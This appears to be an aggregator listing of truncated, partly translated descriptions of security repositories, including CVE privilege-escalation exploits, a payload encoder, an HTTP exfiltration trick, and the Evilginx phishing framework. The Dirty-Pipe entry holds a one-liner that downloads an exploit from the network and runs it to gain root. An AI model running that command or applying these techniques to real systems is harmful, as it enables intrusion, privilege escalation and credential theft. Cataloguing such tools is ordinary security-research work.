prowler

Prowler is the Open Cloud Security Platform trusted by thousands to automate security and compliance in any cloud environment. With thousands of ready-to-use checks and compliance frameworks, Prowler delivers real-time, customizable monitoring and seamless integrations, making cloud security...

CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation

🚨 CVE-2024-32019 - Netdata ndsudo PATH Vulnerability Exploit LPE to Root A Python-based exploit for CVE-2024-32019 , a high-severity Local Privilege Escalation vulnerability in the Netdata Agent , leveraging a misconfigured SUID binary ndsudo that fails to securely handle the PATH environment...

CVE-2018-4416-exploit

Preface :PROPERTIES: :CUSTOMID: preface :END: OKay, binary security is not only /heap/ and /stack/, we still have a lot to discover despite regular CTF challenge. Browser, Virtual Machine, and Kernel all play an important role in binary security. And I decide to study browser first. I choose a...

Dirty-Pipe

استغلال خط واحد CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2021-4034

CVE-2021-4034 PolKit Local Privilege Escalation Analysis toc Vulnerability Overview Vulnerability ID: CVE-2021-4034 Vulnerability Score: Affected Product: linux PolKit pkexec Affected Versions: Versions from 2009 to present current 0.105 Reference http://its.dlut.edu.cn/info/1054/78309.htm Exploi...

gtfocli

GTFOcli GTFOcli it's a Command Line Interface for easy binaries search commands that can be used to bypass local security restrictions in misconfigured systems. Table of Contents Table of Contents Installation Usage Search for Unix binaries Search for Windows binaries Search using dockerized...

gtfocli

GTFOcli GTFOcli هي واجهة سطر أوامر للبحث بسهولة عن الأوامر الثنائية التي يمكن استخدامها لتجاوز القيود الأمنية المحلية في الأنظمة غير المهيأة بشكل صحيح. جدول المحتويات جدول المحتويات التثبيت الاستخدام البحث عن ثنائيات يونكس البحث عن ثنائيات ويندوز البحث باستخدام حل محوسب Docker CTF شكر وتقدير...

CVE-2018-8941

CVE-2018-8941: D-Link DSL-3782 تنفيذ كود إثبات الفكرة آدم سيمونتيس :: https://twitter.com/adamsimuntis ميندوغاس سلوشنيس :: https://twitter.com/mislusnys تم العثور على ثغرة تجاوز سعة المخزن المؤقت في الملف الثنائي "/userfs/bin/tcapi" والذي يُستخدم كغلاف لوظيفة "التشخيص" في واجهة الويب الرسومية. يم...

eps-CVE-2017-0261

eps-CVE-2017-0261- eps vulnerability CVE-2017-0261 analysis Analysis process idb ida6.1 Intermediate documents Loading the eps program POC code used And the original vulnerability file...

sgn

SGN هو مشفر ثنائي متعدد الأشكال لأغراض الأمن الهجومي، مثل إنشاء حمولات ثنائية لا يمكن اكتشافها بشكل ثابت. يستخدم حلقة تغذية راجعة إضافية لتشفير التعليمات الثنائية المعطاة، على غرار LFSR. هذا المشروع هو إعادة تنفيذ لـ Shikata ga nai الأصلية بلغة go مع العديد من التحسينات. !WARNING تم نقل المشروع...

http-protocol-exfil

http-protocol-exfil Utilise la version du protocole HTTP pour envoyer un fichier bit par bit "HTTP/1.0" est un 0 et "HTTP/1.1" est un 1. Il utilise des requêtes GET, donc l'équipe bleue ne verrait que les requêtes vers votre adresse IP. Cependant, cela prend beaucoup de temps pour envoyer des...

http-protocol-exfil

http-protocol-exfil Use the HTTP protocol version to send a file bit by bit "HTTP/1.0" is a 0 and "HTTP/1.1" is a 1. It uses GET requests so the Blue Team would only see the requests to your IP address. However, it takes a long time to send bigger files, for example it needs 1 hour to send 200 KB...

qiling

Сценарии использования Qiling, блог и связанные работы Qiling — это продвинутый фреймворк для эмуляции бинарных файлов, обладающий следующими возможностями: Эмуляция нескольких платформ: Windows, macOS, Linux, Android, BSD, UEFI, DOS, MBR. Эмуляция нескольких архитектур: 8086, X86, X8664, ARM,...

qiling

Qiling's use case, blog and related work Qiling is an advanced binary emulation framework, with the following features: Emulate multi-platforms: Windows, macOS, Linux, Android, BSD, UEFI, DOS, MBR. Emulate multi-architectures: 8086, X86, X8664, ARM, ARM64, MIPS, RISC-V, PowerPC. Support multiple...

feroxbuster

!WARNING إشعار أمني – انتحال النطاق النطاق feroxbuster.com غير تابع لهذا المشروع أو لمطوريه أو لأي إصدار رسمي من feroxbuster. يتم توزيع التنزيلات الرسمية لـ feroxbuster فقط من خلال: https://github.com/epi052/feroxbuster مفتوح المصدر https://www.feroxbuster.pro تجاري مستودعات الحزم المذكورة في ملف...

massdns

MassDNS A high-performance DNS stub resolver MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per...

LIEF

Blog • Documentation • About About The purpose of this project is to provide a cross-platform library to parse, modify and abstract ELF, PE and MachO formats. Main features : Parsing : LIEF can parse ELF, PE, MachO, COFF, OAT, DEX, VDEX, ART and provides a user-friendly API to access their...

capstone

Capstone Engine !TIP Welcome to join our community group! Capstone is a disassembly framework with the target of becoming the ultimate disasm engine for binary analysis and reversing in the security community. Created by Nguyen Anh Quynh, then developed and maintained by a small community, Capsto...

capstone

Capstone Engine !TIP Bienvenue dans notre groupe communautaire ! Capstone est un framework de désassemblage dont l'objectif est de devenir le moteur de désassemblage ultime pour l'analyse binaire et le reverse engineering dans la communauté de la sécurité. Créé par Nguyen Anh Quynh, puis développ...

evilginx2

Evilginx 3.0 Evilginx is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection. This tool is a successor to Evilginx, released in 2017, which used a custom version of nginx HTTP server...